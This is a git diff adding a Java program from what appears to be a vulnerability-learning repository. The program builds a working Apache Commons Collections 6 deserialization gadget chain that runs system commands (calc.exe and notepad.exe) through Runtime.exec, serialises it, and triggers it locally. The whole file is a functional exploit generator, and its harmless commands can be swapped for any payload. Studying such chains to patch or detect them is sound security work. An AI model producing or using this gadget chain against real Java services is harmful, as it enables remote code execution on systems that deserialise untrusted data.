diff --git a/‎general/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java‎
Lines changed: 66 additions & 0 deletions b/‎general/src/main/java/com/govuln/deserialization/CommonsCollections6Multiple.java‎
Lines changed: 66 additions & 0 deletions
@@ -0,0 +1,66 @@
+package com.govuln.deserialization;
+
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class CommonsCollections6Multiple {
+    public static void main(String[] args) throws Exception {
+        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
+        Transformer[] transformers = new Transformer[] {
+                new ConstantTransformer(Runtime.class),
+                new InvokerTransformer("getMethod", new Class[] { String.class,
+                        Class[].class }, new Object[] { "getRuntime",
+                        new Class[0] }),
+                new InvokerTransformer("invoke", new Class[] { Object.class,
+                        Object[].class }, new Object[] { null, new Object[0] }),
+                new InvokerTransformer("exec", new Class[] { String.class },
+                        new String[] { "calc.exe" }),
+                new ConstantTransformer(Runtime.class),
+                new InvokerTransformer("getMethod", new Class[] { String.class,
+                        Class[].class }, new Object[] { "getRuntime",
+                        new Class[0] }),
+                new InvokerTransformer("invoke", new Class[] { Object.class,
+                        Object[].class }, new Object[] { null, new Object[0] }),
+                new InvokerTransformer("exec", new Class[] { String.class },
+                        new String[] { "notepad.exe" }),
+                new ConstantTransformer(1),
+        };
+        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
+
+        // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
+        Map innerMap = new HashMap();
+        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
+
+        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
+
+        Map expMap = new HashMap();
+        expMap.put(tme, "valuevalue");
+
+        outerMap.remove("keykey");
+
+        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
+        f.setAccessible(true);
+        f.set(transformerChain, transformers);
+
+        // ==================
+        // 生成序列化字符串
+        ByteArrayOutputStream barr = new ByteArrayOutputStream();
+        ObjectOutputStream oos = new ObjectOutputStream(barr);
+        oos.writeObject(expMap);
+        oos.close();
+
+        // 本地测试触发
+         System.out.println(barr);
+        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
+        Object o = (Object)ois.readObject();
+    }
+}